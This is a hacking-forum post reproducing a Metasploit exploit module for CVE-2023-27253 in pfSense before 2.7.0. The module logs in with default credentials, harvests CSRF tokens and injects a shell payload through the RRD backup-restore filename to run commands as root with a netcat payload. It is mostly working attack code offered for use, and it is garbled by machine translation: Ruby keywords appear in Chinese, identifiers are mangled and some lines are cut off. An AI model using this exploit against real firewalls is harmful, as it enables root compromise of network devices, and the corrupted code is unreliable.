H

PFSENSE v2.7.0 -OS命令注射

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%
#利用标题: PFSENSE v2.7.0 -OS命令注射
#EXPLOIT作者: Emir Polat
#CVE-ID : CVE-2023-27253
类MSF:EXPLOIT3:REMOTE
等级=极好的额定功能
包括MSF:EXPLOIT:REMOTE3:HTTPCLCCLIENT
包括MSF:EXPLOIT33333:CMDSTAGER
包括MSF:EXPLOIT:FILEDROPPER
预先预期MSF:EXPLOIT:REMOTE3:3360AUTOCHECK
def初始化(info={})
极好的(
update_info(
信息,
'name'='pfsense还原rrd data命令注入',
'description'=%q {
该模块利用了身份验证的命令注入漏洞
PFSENSE在版本2.7.0之前,允许使用“ WebCFG -Diagnostics :备份还原”的身份验证攻击者'
特权执行任意操作系统命令作为“ root”用户。
该模块已在2.6.0版本上成功测试。
},
'许可证'=msf_license,
'作者'=[
'emir polat',#漏洞发现Metasploit模块
],
'参考'=[
['cve','2023-27253'],
['url','https://redmine.pfsense.org/issues/13935'],
['url','https://github.com/pfsense/pfsense/commit/ca80d18493f8f91b21933ebd6b714215ae1e5e94']
],
'Dibleosuretate'='2023-03-18',
'platform'=['unix'],
'Arch'=[Arch_cmd],
'特权'=true,
'targets'=[
['自动目标',{}]
],
'有效载荷'={
'badchars'='\ x2f \ x27',
'compat'=
{
'payloadType'='cmd',
'必需cmd'='通用netcat'
}
},
'DefaultOptions'={
'rport'=443,
'ssl'=true
},
'defaulttarget'=0,
'notes'={
'稳定性'=[crash_safe],
'可靠性'=[repoyable_session],
'sidefects'=[config_changes,ioc_in_logs]
}


register_options [
optString.new('username',[true,'用户名都可以用',admin']),),),
optString.new('password',[true,''密码都可以使用',pfsense']))))
这是给出的
结尾
DEF检查
除非登录
返回exploit3:checkcode3:unknown('#{peer} - 无法获得验证漏洞所需的登录cookie!')
结尾
res=send_request_cgi(
'uri'=normalize_uri(target_uri.path,'diag_backup.php'),
'方法'='get',
'keep_cookies'=true

返回exploit3:checkcode3:unknown('#{peer} - 无法连接到Web服务- 无响应')如果res.nil?
返回exploit3:checkcode3:unknown('#{peer} - 检查URI路径,意外HTTP响应代码3:#{res.code}')除非res.code.code.code==200 200
除非res.body.include?('Diagnostics:')
返回exploit3:checkcode3:safe('弱势模块无法到达')
结尾
版本=detect_version
除非版本
返回exploit3:checkcode3:detected('无法获得pfsense版本')
结尾
除非rex:version.new(版本)rex:version.new('2.7.0 release')
返回exploit3:checkcode3:safe('修补pfsense版本#{version}检测到')
结尾
exploit3:checkcode3:Appears(“目标似乎正在运行pfsense版本#{version},它是未拨打的!')
结尾
DEF登录
#如果我们已经登录,请跳过登录过程。
如果@logged_in返回true
csrf=get_csrf('index.php','get')
除非CSRF
print_error('尝试登录时无法获得index.php的预期CSRF令牌!')
返回false
结尾
res=send_request_cgi(
'uri'=normalize_uri(target_uri.path,'index.php'),
'方法'='post',
'vars_post'={
'__csrf_magic'=CSRF,
'usernamefld'=datastore ['username'],
'passwordfld'=datastore ['password'],
'登录'=''
},
'keep_cookies'=true

如果res.code==302
@logged_in=true
真的
别的
错误的
结尾
结尾
def detect_version
res=send_request_cgi(
'uri'=normalize_uri(target_uri.path,'index.php'),
'方法'='get',
'keep_cookies'=true

#如果响应不是200个正常响应或空的响应,则只需返回零即可。
除非res.code.code==200 res.body
返回无
结尾
if(%r {版本。

别的
版本
结尾
结尾
def get_csrf(uri,方法)
res=send_request_cgi(
'uri'=normalize_uri(target_uri.path,uri),
'方法'=方法,
'keep_cookies'=true

除非res.body
返回nil#如果未返回响应或返回空的响应,则返回nil。
结尾
#尝试将REGEX匹配响应主体,然后将比赛保存到名为CSRF的变量中。
if(/var csrfmagictoken='(?
返回nil#没有匹配,因此将无法定义变量CSRF。
别的
返回CSRF
结尾
结尾
def drop_config
csrf=get_csrf('diag_backup.php','get')
除非CSRF
fail_with(fail:unexpectedReply,'删除配置时无法获得预期的CSRF令牌!')
结尾
POST_DATA=REX:MIME:MESSAGE.NEW
POST_DATA.ADD_PART(CSRF,NIL,NIL,'form-data; name='__ __ csrf_magic'')
post_data.add_part('rrddata',nil,nil,'form-data; name='backuparea'')
post_data.add_part('',nil,nil,'form-data; name='encrypt_password'')
post_data.add_part('',nil,nil,'form-data; name='encrypt_password_confirm'')
post_data.add_part('下载configuration as xml',nil,nil,'form-data; name='download'')
POST_DATA.ADD_PART('',nil,nil,'form-data; name='Restorea'')
POST_DATA.ADD_PART('',','application/ocket-stream',nil,'form-data; name='conffile'')
post_data.add_part('',nil,nil,'form-data; name='decrypt_password'')
res=send_request_cgi(
'uri'=normalize_uri(target_uri.path,'diag_backup.php'),
'方法'='post',
'ctype'='multipart/form-data;边界=#{post_data.bound}',
'data'=post_data.to_s,
'keep_cookies'=true

如果res res.code==200 res.body=〜 /rrddatafile /
返回res.body
别的
返回无
结尾
结尾
DEF利用
除非登录
fail_with(失败:NOACCESS,“无法获得登录cookie!”)
结尾
csrf=get_csrf('diag_backup.php','get')
除非CSRF
fail_with(失败:unexpedreply,“开始开发时无法获得预期的csrf令牌。
结尾
config_data=drop_config
如果config_data.nil?
fail_with(失败:UnExpedReply,“ drop配置响应是空!”)
结尾
if(%r {fileName(?file。*?)/fileName}=〜config_data).nil?
fail_with(失败:UnExpedReply,“无法从Drop Config响应中获取文件名!”)
结尾
config_data.gsub!('','$ {ifs}')
send_p=config_data.gsub(file,'wan_dhcp-quality.rrd';#{paryload.encoded};')
POST_DATA=REX:MIME:MESSAGE.NEW
POST_DATA.ADD_PART(CSRF,NIL,NIL,'form-data; name='__ __ csrf_magic'')
post_data.add_part('rrddata',nil,nil,'form-data; name='backuparea'')
POST_DATA.ADD_PART('YES',nil,nil,'form-data; name='donotbackuprd'')
POST_DATA.ADD_PART('是',nil,nil,'form-data; name='backupssh'')
post_data.add_part('',nil,nil,'form-data; name='encrypt_password'')
post_data.add_part('',nil,nil,'form-data; name='encrypt_password_confirm'')
post_data.add_part('rrddata',nil,nil,'form-data; name='retsorea'')
post_data.add_part(send_p.to_s,'text/xml',nil,'form-data; name=\'conffile \'; filename=\'rrddata-config-pfsense.home.home.home.arpa-
post_data.add_part('',nil,nil,'form-data; name='decrypt_password'')
post_data.add_part('Restore Configuration',nil,nil,'form-data; name='Restore'')
res=send_request_cgi(
'uri'=normalize_uri(target_uri.path,'diag_backup.php'),
'方法'='post',
'ctype'='multipart/form-data;边界=#{post_data.bound}',
'data'=post_data.to_s,
'keep_cookies'=true

如果res
print_error('对成功的利用尝试的响应应为'nil'。目标用#{res.code}的HTTP响应代码响应。尝试重新启动模块。')
结尾
结尾
结尾
 
后退
顶部